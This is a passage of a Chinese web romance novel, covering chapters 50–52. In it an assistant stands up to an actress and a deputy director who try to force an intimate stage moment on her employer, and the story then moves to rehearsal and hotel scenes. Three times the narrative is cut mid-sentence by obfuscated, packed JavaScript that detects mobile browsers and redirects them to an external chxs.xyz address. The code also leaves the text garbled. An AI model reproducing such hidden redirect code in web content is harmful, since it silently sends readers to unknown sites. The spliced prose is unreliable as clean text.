这话一出，乔娜娜的脸色更难看了，她也算是《风暴降临》里有名有姓的人物，可剧组宣传时根本就没有带上她，三天后就是《风暴降临》播出首映会，她托了关系费了不少力气想要参加首映会，可惜主演的名额已经满了。 至于剧宣物料，她更是只在杀青时录制了一个短短的杀青视频，连个人物采访都没有。 而这个半路杀出来的萧扬光凭一张定妆照，就上了一天的热搜，现在更是有这么多剧宣物料要拍。 她冷眼看着台上的人，过了几秒，斜睨着助理，开口道：“你去把汪伟找来，我有事跟他说。” …… 宁茉好不容易跟着音乐合了两遍，把所有的走位和定点都记熟，从侧面走下了台。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14871553|153489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 她后背出了不少汗，心跳也还没有平复下来，跳的很快。 “茉茉！你好厉害，而且你在台上超级好看！~”宋依依连忙过来夸她，情绪价值给的很满。 “我都要紧张死了你还笑我……”宁茉拍拍胸口，问道，“他们到哪儿了？” “马上就来，显示车程不到十分钟了，”宋依依探头探脑地朝门外看，“再从停车场走过来……应该十五分钟就能到吧。” 宁茉松了口气：“太好了，再晚点我就要把这些走位又忘掉了。” “不会的！”宋依依笑眯眯地举起手机，“放心吧，我全都录下来了，群里都有！” “……”宁茉放下来的心又重新提上去了。 这是，一个带着紫色工牌的男人走了过来，他直直走到宁茉面前：“你们是萧扬的工作人员是吧？” 宁茉立刻转向他：“是的，请问有什么事吗？” 宁茉看了一眼他胸前的紫色工牌，他似乎是个副导演，叫汪伟。 “哦，是这样，你们开场舞结束还有一个互动环节，你也来走一下吧。”汪伟指了指舞台，示意她重新上去。 “……什么？”宁茉一愣，抬头看向台上的女艺人，乔娜娜正站在那里。 刚才乔娜娜入场时她也看到了，知道对方也还没有彩排，她合完音乐就迅速下了台给乔娜娜让位置。 “互动？”宁茉确认了一下，“我们不是只有开场舞吗？” “新加的环节，你先上来吧。”汪伟似乎无意和她解释太多，只催她快点上场。 宁茉和宋依依对视了一眼，宋依依也是一脸茫然，但她看着乔娜娜的表情，摇摇头小声说道：“……我觉得不太对。” 宁茉先上了台，顺着汪伟的指示走到乔娜娜身边站定，就听到汪伟说：“这里你们两个再多一段互动，乔娜娜跳完舞往台下走，萧扬追过来拉住她，然后托住她的腰对视。” 宁茉顿时一怔。 汪伟还演示了一下，他一把拽住乔娜娜的胳膊，随后将她拉到了自己怀里，乔娜娜转了两圈随后向后一仰，汪伟伸手托住她，低头看着乔娜娜，对视的瞬间，音乐戛然而止，舞台灯光随之熄灭。 演示完后，汪伟看着她：“看明白了吗？” “……”宁茉沉默了几秒，轻声问道，“请问……这个互动是剧方要加的吗？” “你问这个干什么，”汪伟的语气很不耐烦，“照着做就行了。” 宁茉皱着眉头，脸色有些发白：“我觉得这个动作并不符合阑牧的人设，他不是会做出这种行为的人。” 且不说剧里阑牧对尤丽始终是默默无闻的守护，光是这个过于暧昧的动作，一旦播出宁茉都能想象到会引起怎样的议论，这几乎是立刻就把萧扬和乔娜娜绑定到了一起。 虽然他们在剧里可以算一对CP，但这样暧昧且违反人设的互动，宁茉不认为这是剧方会提出的要求，更像是…… 她看向一旁脸色不善的乔娜娜，突然冷静了下来： 她还记得海文成来探班的那一次，当晚就看到了乔娜娜和海文成两人看似亲密的照片，要不是宁茉在现场，差点也会以为他们两个因戏生出了什么暧昧的火花。 而现在，乔娜娜似乎将主意打到了萧扬身上。 汪伟听到她的话，脸色瞬间就黑了：“你什么意思？让你们配合就配合，哪来这么多意见？！” 乔娜娜更是冷笑了一声：“怎么？我都没嫌他占我便宜，你们还有意见？” “首先，这是舞台演出，提不上占便宜，”宁茉语气却很冷静，“其次，这个互动环节加的太突然了，我们需要和艺人商量一下，不好意思。” 乔娜娜当即就变了脸：“你的意思是你们不同意，不打算配合是吗？” “我只是要和艺人确认一下。” 宁茉说话的态度不卑不亢，反而激怒了乔娜娜。 “你一个助理哪儿来这么多意见！你以为自己是谁？” 她的声音尖利而又刻薄，瞬间就吸引了全场人的目光。 宋依依眼看不对劲，直接扒着舞台边缘冲了上来，几步跑到了宁茉身边，一脸气愤：“有话好好说，你凶什么啊！” “因为你们在这里耽误我的时间！”乔娜娜猛地一伸手，狠狠推了宁茉一下，“不录就滚下去！” 50. 第 50 章 宁茉冷不防被她一推，差点摔到身后的布景里，还是宋依依猛地一把拉住她才堪堪稳住。 这一下变故来的突然，宁茉完全没有料想到乔娜娜竟然还会动手，头脑瞬间空白了几秒，随后一股有些陌生的情绪迅速顺着脊椎攀附而上，充斥了全身——是愤怒。 她的脸色白的吓人，理智却从未如此清醒，直直盯着乔娜娜，手指颤抖地捏着手机。 “喂！你怎么动手啊！”宋依依脸色瞬间涨红，愤怒地瞪着乔娜娜，“你还是个艺人呢！” “艺人怎么了？艺人不能生气吗？”乔娜娜的语调咄咄逼人，“加个正常互动而已，你们这么多意见，耍什么大牌？真把自己当主角了？！” 她言辞锋利，句句都是把问题往萧扬身上引。 宋依依气的快要爆炸，眼睛瞪得很大：“你胡说什么！” “我怎么胡说？他连彩排都没来！现在让他加个互动这么多意见，不就是故意不配合吗！” “你！！！”宋依依气狠了，呼吸都有点急促，“都说了他在录别的内容，马上就来了，而且我们也没有耽误彩排！” 乔娜娜毫不退让：“耽误不耽误是你们说了算吗？连正常流程都不愿意走完，还说不是你们的问题！” “乔娜娜。” 一直沉默的宁茉突然开口了，她看向乔娜娜，目光锐利，语气是极致的冷静。 “这个综艺前期都是签过合同的，合同里包含了哪些内容，你比我清楚。” 仅仅一句话，乔娜娜的气焰瞬间扑灭了一层，脸上的表情变得有些复杂。 宁茉继续说道：“在原定的行程以外加内容，本来就是要征得当事人同意的，你现在逼着我们接受这件事，到底是怕耽误时间、还是你自己心虚？” 乔娜娜眼睛瞪得更大了：“你什么意思！你……” 宁茉打断她：“先别着急，我们一件事一件事来说。” 宁茉指向汪伟：“艺人的行程我们早就提前报备过，能够参加彩排的时间也提前对接过，有聊天记录、也有行程表，都能证明我们所说属实。” 随后她又看向乔娜娜：“我和宋依依下午六点就已经到达了彩排现场，而你，乔娜娜，定好的是七点来和萧扬一起彩排，现在已经七点五十了，请问迟到的是谁？” “最后，要增加的这个互动过于暧昧，请问是谁决定的？谁设计的动作？有没有提前和剧方报备？请你现在给我一个答案。” “……” 现场有足足五秒鸦雀无声，汪伟和乔娜娜都怔住了。 他们看着眼前原本并不起眼的小助理，此刻对方的气场却强的让两个人都有些震惊，她说话有理有据，每一句都直击两人的痛点，让人找不出话来反驳。 乔娜娜原本的嚣张气焰顿时完全矮了下去，只是强撑着在嘴硬：“你一个助理……管这么多干什么。” 宁茉立刻反驳道：“我是助理没错，但我更是萧扬工作室的工作人员，我需要维护艺人的权益，而不是任由你们在这里破坏剧本人设，影响宣传效果。” 乔娜娜：“……” 汪伟：“……” 宋依依脸色由阴转晴，满脸的扬眉吐气，双手叉腰瞪着他们两人：“怎么不说话啦？我们刚才的问题，请你们一个一个解答！” 对方显然解答不了，汪伟脸色僵硬，看了看周围围观的工作人员，拉了拉身边的乔娜娜，低声道：“要不算了吧……取消这个互动环节。” “不行！”乔娜娜气得眼都红了，“我们都说好了的！不能取消！” 汪伟劝道：“……但是情况你也看到了，再这么僵持下去，你连彩排开场舞都没时间了。” 乔娜娜恶狠狠地瞪着宁茉和宋依依：“不行！！！” 双方都僵持不下，气氛也变得剑拔弩张起来。 就在这时，演播厅的侧面走进来一个人影，他身影挺拔修长，脸上还带着拍摄时化的妆，愈发显得眉目漆黑、鼻梁提拔，甫一进场，就吸引了无数人的目光。 他却很快将视线锁定到台上，注意到台上还站着乔娜娜后，萧扬大步走过去，抬脚跨过台阶，很快便走到了舞台中心。 宋依依还在生气，余光却看到有人靠近，转头一看，顿时兴奋道：“萧扬哥！你来了！” 宁茉转头去看他，正对上萧扬深邃的视线。 他快步朝着宁茉走过去，下意识便将宁茉护在了身后，看向乔娜娜和汪伟：“怎么回事？” 在赶来的路上，宋依依在群里简单讲了现场的情况，她没有说的太清楚，但从她焦急的语气中萧扬意识到，宁茉正在被人为难，他立刻让司机加速，停车后几乎是一路冲进了演播厅。 浦世诚赶在他后面来了，也沉着脸上了舞台：“开场舞之后哪来的互动环节？汪伟你说清楚！” 他嗓门很大，气势也凶得惊人，不同于萧扬还要保持形象，他黑着一张脸，说话毫不留情。 “别以为我不知道你们那点小心思！改内容？你提前通知我了吗？合同上写了吗？” “白纸黑字，不服气你找律师，找我们助理茬是什么意思？觉得她们两个小姑娘好欺负？” “汪伟我都不想说你，你好歹也在这台里混了这么多年，就是这么做事的？让别人看笑话！” “……”汪伟脸色铁青，没有回话。 一旁的乔娜娜更是气得干瞪眼，浦世诚句句没有骂她，却在句句映射她，偏偏萧扬还在冷冷地盯着她，那目光让人有些后背发毛。 汪伟憋了很久，才终于挤出一句：“……误会了，都是误会，你们两个先别生气，我们也是为了节目效果嘛……” “节目效果？”萧扬的笑容很冷，“那我倒想问问，你打算让我和这位女演员怎么互动？” “……”汪伟顿时又安静了，萧扬现在这个态度，他当然不敢在萧扬面前再重复一遍设计好的暧昧动作。 倒是宋依依非常适时的来告状了：“他想让你抱着她的腰亲密互动！” 萧扬冷笑一声，目光如刀子般看向乔娜娜，看得对方后退一步，终于松了口。 “……不互动就不互动，谁稀罕啊。” 说完她转身就往台下走。 汪伟也忙着打圆场：“是啊，是啊，那就把这个环节取了吧，正好你来了，道具先不撤，你来彩排一下开场舞吧。” 宋依依却依旧十分生气：“就这么让她走了？她刚才还动手呢。” “什么？”萧扬立刻看向她，“她动手了？” “是啊！她刚才推宁茉！差点让她摔到那里面去！”宋依依愤怒地指了指舞台上的一片布景。 萧扬顺着她的指尖看过去，瞳孔猛地一缩：那片布景里满是铁丝和碎片，还有不少复杂电路，仅仅这么一眼望过去就知道要多危险，乔娜娜竟然还敢把宁茉往那边推。 他的声音瞬间低沉了下去，视线转向宁茉：“受伤了吗？” 宁茉轻轻摇头，用目光暗示萧扬算了。 萧扬却眯了眯眼，叫住已经走到台下的乔娜娜：“乔娜娜。” 乔娜娜脚步一顿，转头看向他：“又干嘛？” “你在台上出手推人，现场有摄像机、有监控，你所有的行为都已经被记录下来。” 萧扬冷冷望向乔娜娜，在对方逐渐变得惊惧的眼神中一字一句道，“请你向我的助理道歉，否则我会立刻报警。” “报警”两个字一出，在场的人都是一惊，就连汪伟也忙笑着拉他：“……不至于吧，她们刚才就是闹了点小矛盾，没那么严重。” 萧扬在对方碰到自己前已经朝后一退避开了他，神色很冷，声音更冷：“敢动手，就要有承担后果的准备。” “你……”乔娜娜脸色有些发白，却仍紧咬牙关，“你知不知道我是谁……” “不管你是谁，”萧扬的语气笃定，神色令人胆寒，“都要向她道歉。” 宁茉就站在萧扬身后，她沉默了许久，终于走到萧扬身边，一同看向乔娜娜，开口时语气坚定：“道歉。” “……”乔娜娜咬了咬牙，气的整张脸都扭曲，“不，好，意，思！” 她恶狠狠瞪了萧扬一眼，低声道：“你给我等着。” 说完她扭头就走，高跟鞋重重踩在地毯上，磨出刺耳的声音。 …… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14886497|153489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乔娜娜和助理的身影消失在演播厅，萧扬转头看向宁茉：“你没事吧？” 他的眼底带了些担心，宁茉倒是立刻摇摇头：“我没事，但是她刚才说……” 刚才乔娜娜走的时候表情很不甘心，宁茉也曾听说乔娜娜是有点背景、认识什么公司高层才被安排到《风暴降临》剧组的，现在萧扬明显已经得罪了她，宁茉有些担心后续她会实施报复。 “不用担心，”萧扬神色笃定，“她伤害不了我。” 浦世诚笑着拍拍她和宋依依的肩膀：“辛苦你们了，晚上给你们买好吃的。” 宋依依脸上重新显出笑容：“谢谢浦哥，谢谢萧扬哥。” 宁茉想起正事：“对了，彩排。” 她扭头想找刚才带她认点位的工作人员，去看了一圈也没看到人。 宋依依也探头探脑找了半头，最后摇摇头：“好像不在现场，没关系的，茉茉刚才已经学会了。” “我没有。”宁茉立刻摇头。 萧扬看着她，眨了眨眼：“可我看群里的视频，你似乎已经记住了。” “……” 宁茉轻轻闭了一下眼，不太想睁开：萧扬果然看到了。 眼看没别的选择，宁茉只好认命般走到了出场位置：“……这里，这里开场需要定点，你随便发挥摆个pose，音乐起来以后再跟着伴舞走。” 萧扬就站在她身旁，听着她说着走位，目光却始终在她身上。 宁茉说着说着，一边看向他，满眼期待：“记住了吗？” “唔……”萧扬眨眨眼，“没有。” “……”宁茉十分耐心地走回了开场点，“那我们从头开始再来一遍……” 萧扬也跟着她在舞台上走来走去，眼底满是笑意，在车上看了几遍视频，他其实已经记住走位了。 但现在宁茉在这么认真地教他，神情活泼又生动，让人很想把时间先暂停一会儿。 “这里需要注意一下，乔娜娜会有一段个人solo，等她跳完你要来这里汇合，然后两个人搭档跳……” 宁茉冷不防一转头，发现萧扬离自己起码有五米的距离，顿时有些傻眼。 “萧扬，你到底有没有在听？” “……在听。”他语气温柔，脸上的笑意却隐藏不住。 宁茉这才反应过来：“……你已经记住了是吧？” 萧扬的记性一向很好，这件事宁茉很确定，而且刚才有几个瞬间，萧扬比她还要先走到正确点位上。 萧扬表情颇有些无辜：“也是在宁老师的教学下，刚刚努力记住的。” “……”宁茉磨了磨牙，“萧扬……” 他就是故意的，故意的！ 萧扬终于笑了，摊开手：“……好了，合一遍音乐吧。” ……宁茉面带怨气地又看了他几秒，才转身冲高处的调音台挥了挥手，示意他们可以放音乐了。 三秒后，悠扬的乐声回荡在整个演播厅，萧扬立刻进入状态，定在了开场位上。 宁茉退到一边看着他。 萧扬这支舞动作并不复杂，但胜在动作好看，加上萧扬长手长脚，随便跳两下都赏心悦目、十分帅气。 他身上穿着件黑色的长风衣，舞动时风衣腰带和下摆都会随着飘动，灵动又吸睛，宁茉盯着盯着，竟然有些看走神了。 她也没留意自己站在其中一个点位上，直到萧扬跳到她面前，略带无奈的眼神看向她时，宁茉才意识到自己的问题。 “……不好意思！” 她慌忙想退开，萧扬却反应更快地绕过她，在她面前不到半米的地方继续舞蹈动作，只是把幅度收的小了一些。 两人离得很近，宁茉连看着面前的萧扬，整个人有点僵硬。 这是她第一次看到萧扬的舞台，以前她从来不知道，原来萧扬跳舞……这么好看，所有的动作都只会更加衬托出萧扬这个人，让人很难把视线从他身上移开。 萧扬一个转身，朝着宁茉鞠了一躬，动作绅士有利，随后目光定在她脸上，面含笑意。 “既然站在这里，就来临时充当一下我的搭档吧。” 51. 第 51 章 宁茉顿时懵了一下：“啊？……” “来扮演一下乔娜娜，”萧扬面上笑意不减，眉眼里甚至暗含期待，“和我彩排双人舞。” “什么？！可我、可我不会……” 她连萧扬的舞蹈部分都没看过，更别提代替乔娜娜跳了。 况且刚刚在舞台上发生过争执，现在舞台是所有人的视线中心，聚光灯以外，是无数正在注视着他们的目光。 萧扬却像是根本不在意这些，只是专注地盯着宁茉，看她的反应。 “不需要你跳，跟我一起移动就好了，”萧扬朝她伸出的手始终悬在半空，没有放下，“来吧。” “……” 音乐逐渐进入高潮，属于乔娜娜的个人solo环节结束，节奏逐渐加快，不需要萧扬提醒宁茉也意识到，接下来应该是两个人牵手汇合的画面。 再没有思考的时间，她稀里糊涂地在萧扬引导下、把手放到了他的掌心。 下一秒，萧扬拉着她翩翩起舞。 …… “哇！好棒！！！”宋依依在台下无声尖叫，举着手机激动地记录着眼前这幅奇妙的画面，舞台上的两个人此刻目光都指望着对方，不需要任何言语，他们之间仿佛有一种天然的契合感。 台上的萧扬目光深情，在令人目眩神迷的气氛中，始终专注地望着宁茉，就好像……此刻他眼前的，就是对他而言，最最重要的人。 …… 震耳欲聋的音乐中，宁茉却听不到周遭的声音，她浑身都在发烫，独属于萧扬的清香味道围绕着她，几乎剥夺了她思考的能力。 萧扬的掌心是炽热的，紧紧握住她的手，让她连逃避的机会都没有，只能被动地被拉着、牵引着，一步步踏入对方的……私人领域。 警报声有如实质在脑海轰鸣，失控感和隐约的恐惧感同时缠绕着她，可眼前人的眼眸偏偏温柔地像一汪引人探究的美丽湖泊，她和自己对抗了许久，最终还是没有逃走。 音乐逐渐放缓，萧扬托着她的手腕旋转，随后一曲终了，萧扬笑着定格，鼻尖凑近她的发顶。 “谢谢你的配合，我的……好搭档。” 宁茉定在原地足足十秒，直到舞台灯光熄灭、干冰消散，才猛地回神抽回了手，朝后退了两步。 “……下次，”她下意识开了口，却不知道自己在说什么，停顿了一会儿，才组织好语言。 “下次再有这种事情……找依依吧，我……我不适合。” 说完，她加速跑下了台，站到了宋依依身边，平复自己狂乱的心跳。 “……”萧扬怔在原地，目光追随着她的背影一路向下，最后却只捕捉到对方逃避的眼神。 静止了几秒后，萧扬缓缓地呼出一口气，眼底不可自控地涌起失落。 和在云城时的氛围不同，这两天宁茉对他多了些公事公办的顺从意味，当他主动靠近时也总会刻意保持距离。 就好像……原先的越界都是意外，现在故事线回归主线，一切都被拉回了正轨，只有他还留在过去的那个篇章不愿意离开。 …… 综艺彩排结束时已经是晚上十点，一行人回到酒店放行李，随后出门吃了顿便饭。 第二天的正式拍摄是下午一点开始，这中间留了充足的时间给他们休息。 但萧扬并没有休息，他晚上还有个拍摄行程，吃完饭就和浦世诚匆匆去了摄影棚。 宁茉和宋依依回了酒店，赶路的疲惫此刻终于袭来，两人同时默契地倒下，一左一右瘫在床上。 “今天也发生太多事了吧，”宋依依语气幽怨，“还有那个乔娜娜，真后悔没要个监控视频，好让大家都看看她是什么嘴脸！” “这种东西你怎么可能要得到啊，即使有也早被删掉了，”宁茉却语气冷静，“不过没关系，我录音了。” “什么？！”宋依依兴奋地从床上一跃而起，“彩排的时候你录音了？” 宁茉点点头：“是啊，从她找我们麻烦开始录的，本来我是不想做这种事情的，但乔娜娜抹黑人的手段实在太多了，不得不防。” “天啊茉茉！”宋依依隔空朝她比了个大大的爱心，“你真是聪明勇敢又机灵！我都没想到录音，哈哈，这下就不怕她在借着今天的事情背后搞小动作了，录音一放，谁是谁非一清二楚~” 宁茉嗯了一声：“所以不用担心了，睡吧。” 宋依依又缓缓泄了气，像个正在放气的气球般，慢慢躺回床上：“真的好累，我好佩服萧扬哥的精力……我有时候都怀疑他不是人，是机器。” “机器也要上油的，”宁茉默默接话，“萧扬不需要消耗任何能量，能量守恒定律在他这里不管用。” “……好……可怕……”宋依依双眼放空，翻了个身，“这是什么娱乐圈卷王。” …… 宋依依洗漱完，盯着宁茉换好睡衣躺进被窝里，目光灼灼：“茉茉，你今天必须要早点睡觉，不能熬夜，这是萧扬哥给我下的kpi。” “……”宁茉失笑，“知道了知道了，我会睡的。” “那么，晚安哦~” 宋依依关了床头的灯，整个房间陷入一片漆黑。 宁茉默默摸出了手机。 五秒后，宋依依警觉地坐了起来：“你是不是在偷偷玩手机？” 宁茉：“……” 最终，她只能无奈地彻底躺平，闭上眼睛听着周围的声音。 这座酒店周围都是居民区，此刻已经夜深，环境很安静，连车辆从马路驶过的声音都没有。 这么寂静的环境宁茉反而有点不适应，她转头看了看身侧的宋依依，宋依依的入睡质量依旧很好，呼吸均匀。 宁茉很轻很慢的坐了起来，从枕头下把平板拿出来，将光亮调到最暗。 刚打开绘画工具，宁茉的手机屏幕突然亮了，她忘了关掉提示音，微信提示音此刻就这么突兀的在酒店房间里响起。 宁茉倒吸了一口凉气，立刻看向一旁的宋依依。 ——好在对方并没有被吵醒，依旧睡得很香甜。 宁茉一把捞起手机，迅速调了静音模式，随后才点进微信，发现发来消息的人是黑色头像——萧扬。 [萧扬：睡了吗？] 宁茉犹豫了两秒，选择关闭手机，继续去看平板上的画稿。 手机屏幕很快又亮了。 [萧扬：可能有件事需要你帮忙。] 宁茉怔了一下，立刻回复道：[怎么了？] 手机那端安静了一会儿，又有了回复。 [萧扬：果然没睡。] “……” 宁茉这才反应过来，如果是因为工作上的事情，此刻应该是浦世诚找她，而不是萧扬亲自找。 ……这个萧扬现在怎么进化了，都会诈人了。 [宁茉：……] [萧扬：又是换了新环境睡不着吗？] 宁茉根本没回答萧扬的问题，她语气礼貌、态度恶劣地问道：[老板您有什么事吗？大半夜的给员工发什么消息呢？] [萧扬：……] 十秒后，萧扬锲而不舍地发来消息：[工作室打算给你们买点新年礼物，你有什么想要的吗？] 这个听起来十分动人的话题依旧没有勾起宁茉的兴趣，她淡淡回道：[只要不是米面油就可以。] [萧扬：……我们不送这么传统的礼物。] [宁茉：苹果大枣也不要。] [萧扬：这是你上家公司给你们发的年终礼品清单吗？]< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14900491|153489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> [宁茉：正答。] [萧扬：……是不是太过于敷衍了。] [宁茉：我前领导说，礼物是什么不重要，重在公司的一片心意（温暖.jpg）] [萧扬：……那这个公司的心像是空的。] 宁茉看着这句吐槽，无声地笑了好一会儿，才回道：[送什么礼物都可以，我们都会很开心的。] [萧扬：好，我随便选了。] [宁茉：谢谢老板。] 回这句话时宁茉顺便看了一眼时间，此时已经是凌晨一点了，萧扬总不会大半夜的在外面给她们挑礼物吧？——应该不会，这种小事他委托霍研去办就可以了。 萧扬回复道：[睡吧，即使睡不着，闭着眼躺着也算休息了。如果你一直醒着看手机，会抑制褪黑素分泌，而且大脑太过活跃，反而会加重失眠的。] 宁茉眨眨眼，萧扬说的倒是有理有据，简直像是专门了解过似的。 [宁茉：睡了，这次是真的。] [萧扬：希望如此，晚安。] …… 宁茉放下手机，顺便也关上了平板，重新躺了下来，闭上眼睛。 虽然依旧没什么困意，但她控制着呼吸，尽量放缓气息，放空头脑，思绪渐渐散漫起来，像无数个在空中飞舞的光点，最终撞向一面浮现着萧扬身影的光幕。 白天舞台上那一幕，再次清晰地浮现出来。 萧扬挡在她面前时，背影无比熟悉，记忆里几个萧扬的身影全部折叠重合在了一起，不变的是，他始终毫不犹豫地会护住自己。 但矛盾的是宁茉自己。 她从失眠暴露在萧扬、彻底坦白的那一晚后，就陷入了一种复杂矛盾的情绪里，这种情绪背离她自身的意愿，强行拉着她想要让她远离萧扬，却又在一次次的接触中被萧扬支解，随后再凝聚重构，周而复始。 连宁茉自己都很困惑，她似乎想要离萧扬近一点，却又希望……萧扬能离她远一点。 纷乱的思绪中，宁茉毫无头绪，反而慢慢有了困意。 等她再睁眼时，天色已经亮了。 这是难得的一夜安眠，连梦都没有做。 …… 早上九点，宋依依的闹钟响了，她艰难地翻身关了闹钟，眯着眼往旁边床上看去： 毫无意外的，宁茉已经叠好了被子，衣服穿的整整齐齐，连行李都收好了。 宋依依开口，声音里夹杂着浓重的鼻音：“茉茉，你几点起来的……不对，你睡了吗？” “七点吧，睡了，”宁茉打开房间的灯，“我去楼下给你买早餐，你慢慢洗漱。” “……好。” 等买完早餐回来，宁茉将宋依依那一份留在房间，又敲了敲隔壁的房门：浦世诚的房间就在她们隔壁。 浦世诚开门很快，他接过纸袋：“谢谢，你怎么这么早就起床了，我还打算给你们点早餐外卖，没想到你已经买好了。” “我习惯早起了，”宁茉看向不远处依旧紧闭着的房门，“萧扬的那份也给你吧。” “没事，叫他吧，他也该起来了。”浦世诚说着，从口袋里摸出一张房卡，大踏步走到萧扬房门口。 “滴”的一声，门锁开了。 “萧扬！起床！” 伴随着十分浑厚有力的声音，浦世诚大咧咧推开了房间的门，房间内的景象瞬间一览无余。 房间内竟然灯光大亮，萧扬就站在床边，裸着上半身，胸膛还挂着水珠，浴袍松散地低挂在他腰间，手里正拿着一条毛巾擦头发。 听到身后的动静，他愕然转身，目光瞬间穿过呆在门口的浦世诚，定在了他身后的宁茉身上。 “啪嗒。” 宁茉手里的袋子掉到了地上。 52. 第 52 章 …… 画面像被按下了暂停键，三个人同时静止了许久。 直到浦世诚反应过来，猛的伸手拉住门把手，“啪！”的一声重重关上了门。 浦世诚：“……” 宁茉：“……” 浦世诚满脸尴尬的转身：“我忘了这小子每天都会早起健身……” 宁茉快速地眨眨眼，有些僵硬地蹲下，将纸袋重新捡起来。 “你刚才……”浦世诚挠挠头，“应该什么都没看见吧？毕竟还有我挡在你前面。” 宁茉沉默了几秒，没回话。 ……什么都看见了。 “我……”她一句话还没说出来，萧扬的房门突然“咔哒”一声，又被人从里面拉开。 浦世诚条件反射般猛地向后一退，看向房门里露出的那张气急败坏的帅脸。 “浦，世，诚，”萧扬每个字都是从牙缝里挤出来的，“你想干什么？” 浦世诚满脸心虚：“意外，意外，我们就是想给你送个早餐。” 宁茉听到这句“我们”立刻后退一步，打算藏在浦世诚身后，却没想到浦世诚反手一拉，迅速把她拉到了自己身前承担火力。 宁茉：“……” 萧扬已经将身上的浴袍拉好，遮的严严实实的，没再露出一点肌肤。 他目光从浦世诚身上向下移，转到了宁茉身上，对上那双略带慌乱的眼眸时，他眼底的怒气终于慢慢压下去，伸手将宁茉手里的纸袋拿起来，随后后退一步，“啪”的一声，再次关了房门。 门口呆站的两个人又相对静止了一会儿，浦世诚咳嗽两声：“那个……宁茉你先回房间吧，我们十点半出发往海城娱乐大厦去。” “好。”宁茉转身就走，脚步不断加速，迅速溜回了自己的房间。 …… 宋依依正坐在屋子里吃早餐，一转头就看到宁茉通红的脸。 “你怎么看起来这么热？” “……”宁茉揉了揉脸，努力将温度降下去，“酒店的暖气开的太热了。” …… 十点半，众人统一出门，乘车前往综艺《快乐对对碰》的化妆室。 几位主角都是单人化妆间，萧扬作为剧中没什么戏份的配角，则被分配到了大化妆间。 化妆师见到他时有些惊讶，仔细打量了一下他的五官，随后感叹道：“萧扬老师，您本人比剧照实在是好看太多了。” 萧扬语气礼貌地回道：“您客气了。” 宋依依趁机凑了过来，笑得十分谄媚：“那就麻烦化妆老师还原一下我们萧老师的帅气啦！这是萧老师送您的小礼物。” 说着，宁茉配合默契地从包里掏出一个小丝绒盒子，塞到了化妆师手里。 化妆师脸上露出惊喜的表情，笑容更加灿烂：“谢谢谢谢，我一定尽力，萧扬老师本身的条件就已经够好了。” 萧扬的目光移到一旁的宁茉脸上，嘴角勾起，眼底泛起笑意。 宋依依和宁茉两个人在化妆的过程中，持续不断地夸化妆师技术好，听的化妆师嘴都要合不拢了，工作用心程度直线飙升。 萧扬的最终造型做好时，连周围的工作人员都忍不住惊呼好帅。 宋依依和宁茉更是十分默契地拍了不少照片。 下午一点，所有嘉宾做好妆造，统一前往演播厅，宁茉和宋依依作为随行工作人员，坐到了前排观看区。 “这还是我第一次看综艺录制呢！”宋依依兴奋地左看右看，感叹道，“好多摄像机……” 宁茉则拔下和充电宝连接着的手机，这个综艺正式录制后不允许拍摄，她打算趁开始录制前拍些花絮照片。 嘉宾们坐在一起，两排高脚凳依次摆放，萧扬的位置在最边上，比乔娜娜还要靠边。 这样的位置，属于一旦摄像机对准主演，就一定不会出现在画面里的人。 宋依依眼巴巴地看着萧扬走到自己的位置，忍不住叹了口气：“怎么给萧扬哥排的那么靠后啊……他旁边那个白梵戏份还没他多呢，都在他前面。” “嘘，”宁茉捏了捏宋依依的手心，“又忘了，在外面要少说话。” 宋依依心虚地笑笑，吐了吐舌头，手举到嘴巴前做了个拉上拉链的动作，凑到宁茉镜头前，和她来了个自拍。 于是萧扬一抬头，便看到自家两个小助理贴在一起拍照，亲密无间的像好姐妹，目光连一秒都没分给自己。 萧扬：“……” 《快乐对对碰》很快进入正式录制，开场曲响起时，所有人同时看向舞台。 海文成和周杉两个人业务十分熟练，开场舞跳的默契十足又甜度拉满，每次互动都惹得观众们忍不住尖叫。 随后出场的便是男二号和女二号，他们两个都很年轻，舞蹈活泼轻松，氛围也很甜。 一首歌放到最后，萧扬终于出场了，他出现的瞬间，场地里有不少观众全都惊呼出声，等他的脸毫无遮拦地出现在大屏幕上时，更是有一群人开始尖叫。 “哈哈！帅哥的魅力就是这么强！”宋依依激动的跟着欢呼，“我们萧扬哥只要出场就是焦点！” 萧扬跳了一段舞后，乔娜娜开始出场，两个人的动作虽然设计了不少互动，但只有萧扬尽职尽责地看向乔娜娜，乔娜娜连个正眼都没给过他，只对着镜头笑的很甜。 宁茉眨眨眼，有点意外：“这个乔娜娜，镜头前面竟然也这么不掩饰。” “真傲慢，”宋依依翻了个白眼，“也就是萧扬哥脾气好了，换别人早就生气了。” 